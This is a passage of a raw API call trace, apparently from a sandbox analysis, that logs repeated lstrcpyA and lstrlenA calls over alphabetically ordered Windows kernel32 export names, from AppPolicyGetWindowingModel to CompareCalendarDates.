returned="AppPolicyGetWindowingModel" [0103.251] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0103.251] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0103.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0103.251] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0103.252] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0103.252] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0103.252] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0103.252] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0103.252] lstrlenA (lpString="BACKUPREAD") returned 10 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0103.252] lstrlenA (lpString="BACKUPSEEK") returned 10 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0103.252] lstrlenA (lpString="BACKUPWRITE") returned 11 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0103.252] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0103.252] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0103.252] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0103.252] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0103.252] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0103.252] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0103.252] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0103.252] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0103.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0103.253] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0103.253] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0103.253] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0103.253] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0103.253] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0103.253] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0103.253] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0103.253] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0103.253] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0103.253] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0103.253] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0103.253] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0103.253] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0103.253] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0103.253] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0103.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0103.254] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0103.254] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0103.254] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0103.254] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0103.254] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0103.254] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0103.254] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0103.254] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0103.254] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0103.254] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0103.254] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0103.254] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0103.254] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0103.254] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0103.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0103.254] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0103.255] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0103.255] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0103.255] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0103.255] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0103.255] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0103.255] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0103.255] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0103.255] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0103.255] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0103.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0103.256] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0103.256] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0103.256] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0103.256] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0103.256] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0103.256] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0103.256] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0103.256] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0103.256] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0103.256] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0103.256] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0103.256] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0103.256] lstrlenA (lpString="BEEP") returned 4 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0103.256] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0103.256] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0103.256] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0103.257] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0103.257] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0103.257] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0103.257] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0103.257] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0103.257] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0103.257] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0103.257] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0103.257] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0103.257] lstrlenA (lpString="CANCELIO") returned 8 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0103.257] lstrlenA (lpString="CANCELIOEX") returned 10 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0103.257] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0103.257] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0103.257] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0103.257] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0103.257] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0103.258] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0103.258] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0103.258] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0103.258] lstrlenA (lpString="CHECKELEVATION") returned 14 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0103.258] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0103.258] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0103.258] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0103.258] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0103.258] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0103.258] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0103.258] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0103.258] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0103.258] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0103.258] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0103.258] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0103.258] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0103.258] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0103.258] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0103.258] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0103.259] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0103.259] lstrlenA (lpString="CLOSESTATE") returned 10 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0103.259] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0103.259] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0103.259] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0103.259] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0103.259] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0103.259] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0103.259] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0103.259] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0103.259] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0103.259] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0103.260] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") 